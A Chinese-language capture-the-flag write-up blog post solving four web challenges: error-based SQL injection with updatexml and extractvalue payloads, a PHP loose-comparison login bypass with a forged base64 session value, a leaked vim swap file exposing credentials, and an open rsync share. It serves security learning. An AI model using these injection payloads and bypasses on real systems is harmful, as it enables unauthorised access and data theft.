目录
  1. 1. babysql
  2. 2. babylogin
  3. 3. 编辑器的锅
  4. 4. 服务发现
mooctest-writeup

做了些ctf的题目,想参加mooctest试试吧,就当锻炼锻炼。这个是平台上的资格测试的题目。

babysql

报错都给你了,还不会注入? 题目地址:http://114.55.36.69:20680/index.php?table=news&id=3

根据提示应该是报错注入,选择一个报错函数 直接上吧

1
2
3
4
5
6
7
8
9
10
11
?table=news&id=3 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
XPATH syntax error: '~errorerror@localhost~'

?table=news&id=3 and (updatexml(1,concat(0x7e,(select database()),0x7e),1))
XPATH syntax error: '~errorerror~'

table=news&id=3 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='errorerror'),0x7e),1))
XPATH syntax error: '~error_flag,error_news~'

?table=news&id=3 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.tables where table_schema='errorerror' and table_name='error_flag'),0x7e),1))
然后并没有爆出字段,而是显示了hacker,看来过滤了column_name

在群里问了一声,一个朋友给出了资料

了解一番新姿势后,于是里面的payload都给出了

1
2
?table=news`%23` where 0=extractvalue(1,(select group_concat(0x3a,column_name) from information_schema.columns where table_name='error_flag'))%23`%26id=1&id=3
XPATH syntax error: ':flag_you_will_never_know'

详解请看上面的链接,解释的很清楚,学到了一波!
最后再根据字段查询一下,得到flag

1
?table=news&id=3 and (updatexml(1,concat(0x7e,(select `flag_you_will_never_know` from error_flag limit 0,1),0x7e),1))

babylogin

很正常的登录逻辑,只是…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
include "config.php";

header("Content-Type:text/html;charset=utf8");
session_start();
if (!empty($_SESSION)&&$_SESSION["login"]==1) {
header("Location: admin.php");
exit();
}

foreach (array('_GET','_POST','_COOKIE') as $key) {
foreach ($$key as $key2 => $value) {
$_GPC[$key2]=$value;
}
}
//var_dump($_GPC);exit();
if ($_SERVER["REQUEST_METHOD"]=="GET"){
echo include "outputtpl.php";
}else if($_SERVER["REQUEST_METHOD"]=="POST"){

$userin=addslashes($_POST["name"]);
$passin=addslashes($_POST["password"]);
$session = json_decode(base64_decode($_GPC['__session']), true);
if (is_array($session)){
$user = find_user_by_uid($session['uid']);
if(is_array($user) && $session['hash'] == $user['password']){
$_SESSION["login"]=1;
$_SESSION["userin"]=$userin;
header("Location: admin.php");
exit();
}else{
echo "用户名或密码错误";
}
}else{
$sql = "select password from admin where username='$userin'";
$row = mysql_fetch_array(mysql_query($sql));
if($row){
if($row[$passin]==md5($passin)){
$_SESSION["login"]=1;
$_SESSION["userin"]=$userin;
header("Location: admin.php");
exit();
}else{
echo "用户名或密码错误";
}
}else{
echo "用户名或密码错误";
}
}
}else {
echo "GET or POST plz!";
}

思考一会儿之后,记起 true == 'string' 是为真,于是逆向构造下__session

1
2
$__session = array('uid'=>'1','hash' =>true);
echo base64_encode(json_encode($__session));

提交payload,得到flag

1
name=admin&password=password&__session=eyJ1aWQiOiIxIiwiaGFzaCI6dHJ1ZX0=

编辑器的锅

login as admin 题目地址:http://114.55.36.69:20380/login.php

猜测是vim编辑器吧,访问 .login.php.swp 下载到文件,然后cat查看后得到部分源码,格式没排版

1
echo "GET or POST plz!";}else {    }        echo "用户名或密码错误";    }else{        }            echo "用户名或密码错误";        }else{            exit();            header("Location: admin.php");            $_SESSION["userin"]=$userin;            $_SESSION["login"]=1;        if($passin=="ca1buda0mima7ah4ha"){    if ($userin=="admin94wo"){    $passin=$_POST["password"];    $userin=$_POST["name"];    }else if($_SERVER["REQUEST_METHOD"]=="POST"){EOT;</body></html></div>    </div>                        </form>            </p>                            <p>            </p>                                <button type="submit" class="btn btn-l w-100 primary">登录</button>            <p class="submit">            </p>                <input id="password" name="password" class="text-l w-100" placeholder="密码" type="password">                <label for="password" class="sr-only">密码</label>            <p>            </p>                <input id="name" name="name" placeholder="用户名" class="text-l w-100" autofocus="" type="text">                <label for="name" class="sr-only">用户名</label>            <p>        <form action="" method="post" name="login" role="form" >        <h1>登录</h1>    <div class="typecho-login" ><div class="typecho-login-wrap">        <body class="body-100"></head><link rel="stylesheet" href="res/style.css"><link rel="stylesheet" href="res/grid.css">        <link rel="stylesheet" href="res/normalize.css">        <meta name="robots" content="noindex, nofollow">        <title>用户登录</title>        <meta name="viewport" content="width=device-width, initial-scale=1">        <meta name="renderer" content="webkit">        <meta http-equiv="X-UA-Compatible" content="IE=edge, chrome=1">        <meta charset="UTF-8"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><html class="no-js"><head><!DOCTYPE html><<<EOT    echo if ($_SERVER["REQUEST_METHOD"]=="GET"){    }        exit();        header("Location: admin.php"); if (!empty($_SESSION)&&$_SESSION["login"]==1) {session_start();header("Content-Type:text/html;charset=utf8");<?php%

username=admin94w&password=ca1buda0mima7ah4ha 提交得flag

服务发现

虽然代码同步了,但你这个配置…有问题 题目地址:http://118.178.18.181:20280/

经狗哥提醒是rsync,于是

1
2
3
rsync 118.178.18.181::

source code

返回这个内容,但是中间有个空格,那就引号包裹

1
2
3
4
5
6
rsync 118.178.18.181::"source code"
drwxr-xr-x 4096 2017/06/14 13:01:20 .
-rw-r--r-- 44 2017/06/14 13:01:20 flag.php
-rw-r--r-- 26 2017/06/14 13:01:20 index.php

rsync 118.178.18.181::"source code/flag.php" /Users/isky/Desktop

关于rsync

rsync(remote synchronize)——Linux下实现远程同步功能的软件,能同步更新两处计算机的文件及目录。在同步文件时,可以保持源文件的权限、时间、软硬链接等附加信息。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员;而开发人员安全意识薄弱、安全技能欠缺往往是导致rsync出现相关漏洞的根源。
rsync默认配置文件为/etc/rsyncd.conf,常驻模式启动命令rsync –daemon,启动成功后默认监听于TCP端口873,可通过rsync-daemon及ssh两种方式进行认证。

文章作者: iSk2y
文章链接: http://isk2y.github.io/2017/10/04/mooctest-writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 iSk2y's Note

评论